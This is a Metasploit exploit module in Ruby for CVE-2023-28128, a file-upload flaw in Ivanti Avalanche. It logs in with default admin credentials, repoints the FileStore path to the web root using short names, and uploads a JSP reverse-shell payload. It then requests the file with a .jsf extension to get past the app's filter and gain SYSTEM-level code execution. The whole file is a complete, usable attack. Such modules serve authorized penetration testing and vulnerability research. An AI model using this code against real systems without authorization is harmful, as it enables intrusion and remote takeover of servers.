##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',
'Description' => %q{
Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
names in the configuration path for the Central FileStore. Because of
this, an administrator can change the default path to the web root
of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [
'Piotr Bazydlo', # @chudypb - Vulnerability Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],
['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],
['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],
['CVE', '2023-28128']
],
'Platform' => ['win', 'java'],
'Privileged' => true,
'Arch' => ARCH_JAVA,
'Targets' => [
[ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]
],
'DisclosureDate' => '2023-04-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),
OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])
]
)
end
def check
# Cleanup should not be needed after doing just a check.
@cleanup_needed = false
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'GET'
)
return CheckCode::Unknown('Failed to receive a response from the application') unless res
unless res.body.include?('Avalanche - User Login')
return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')
end
html = res.get_html_document
elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }
return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem
version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)
return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2
version = version[1]
vprint_status("Version of Ivanti Avalanche appears to be v#{version}")
ver_no = Rex::Version.new(version)
patched_version = Rex::Version.new('6.4.0.186')
if ver_no >= patched_version
CheckCode::Safe('Target has been patched!')
elsif ver_no < patched_version
CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')
else
CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")
end
end
def authenticate
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')
html = res.get_html_document
view_state = get_view_state(html)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'loginForm' => 'loginForm',
'j_idt8' => '',
'loginField' => datastore['USERNAME'],
'passwordField' => datastore['PASSWORD'],
'TextCaptchaAnswer' => '',
'javax.faces.ViewState' => view_state,
'loginTableButton' => 'loginTableButton'
}
)
unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')
fail_with(Failure::UnexpectedReply, 'Login failed')
end
end
def get_view_state(html)
view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text
view_state
end
def configure_filestore
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')
end
html = res.get_html_document
view_state = get_view_state(html)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state
@original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path
print_status("Original FileStore config path: '#{@original_config_path}'")
# determine drive letter
drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)
fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3
drive_letter = drive_letter[1]
new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"
print_status("Changing FileStore config path to '#{new_config_path}'")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
'formFileStoreConfig' => 'formFileStoreConfig',
'txtUncPath' => new_config_path,
'txtVelocityFolder' => '',
'javax.faces.ViewState' => view_state
}
)
input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first
if input_field_html.blank?
fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')
elsif input_field_html[:value] != new_config_path
fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')
end
end
def get_directory_val(res, dir_name)
html = res.get_html_document
results = html.xpath('//tr[contains(@class, "DIRECTORY")]')
fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results
expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }
fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir
data_rk = expand_dir.at('@data-rk')&.value
fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk
data_rk
end
def expand_folder(data_rk, view_state)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',
'fileStoreTree_dlgFileStoreTree_expand' => data_rk,
'javax.faces.ViewState' => view_state
}
)
end
def select_folder(data_rk, view_state)
@cleanup_needed = true
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' =>
{
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.behavior.event' => 'select',
'javax.faces.partial.event' => 'select',
'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,
'form_filestore_tree' => 'form_filestore_tree',
'fileStoreTree_dlgFileStoreTree_selection' => data_rk,
'javax.faces.ViewState' => view_state
}
)
end
def upload_payload
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
# need to 'select' webapps/AvalancheWeb to upload a file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
web_data_rk = get_directory_val(res, 'webapps')
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state
res = expand_folder(web_data_rk, view_state)
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res
avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state
res = select_folder(avalanche_data_rk, view_state)
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state
boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"
post_data << "upload-form\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
post_data << "#{view_state}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"
post_data << "true\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"
post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n\r\n"
post_data << "#{payload.encoded}\r\n"
post_data << "--#{boundary}--\r\n"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'data' => post_data,
'headers' => {
'Accept' => 'application/xml, text/xml, */*; q=0.01',
'Faces-Request' => 'partial/ajax',
'X-RequestedWith' => 'XMLHttpRequest',
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Accept-Encoding' => 'gzip, deflate'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")
print_good("Successfully uploaded '#{payload_name}'")
payload_name
end
def cleanup
if @cleanup_needed == false
return
end
restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'
print_status('Attempting to restore config path')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res
print_error("Could not access FileStore config. #{restore_msg}")
return
end
html = res.get_html_document
view_state = get_view_state(html)
unless view_state
print_error("Failed to get view state. #{restore_msg}")
return
end
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
'formFileStoreConfig' => 'formFileStoreConfig',
'txtUncPath' => @original_config_path,
'txtVelocityFolder' => '',
'javax.faces.ViewState' => view_state
}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res&.body&.include?(@original_config_path)
print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")
return
end
print_good('Successfully restored the FileStore config path')
end
def exploit
# Starting off we shouldn't need cleanup, however if we get to the point were we start
# to change config settings then we will need to clean that up.
@cleanup_needed = false
authenticate
configure_filestore
payload_name = upload_payload
register_file_for_cleanup("webapps/#{payload_name}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet
'method' => 'GET',
'keep_cookies' => true
)
end
end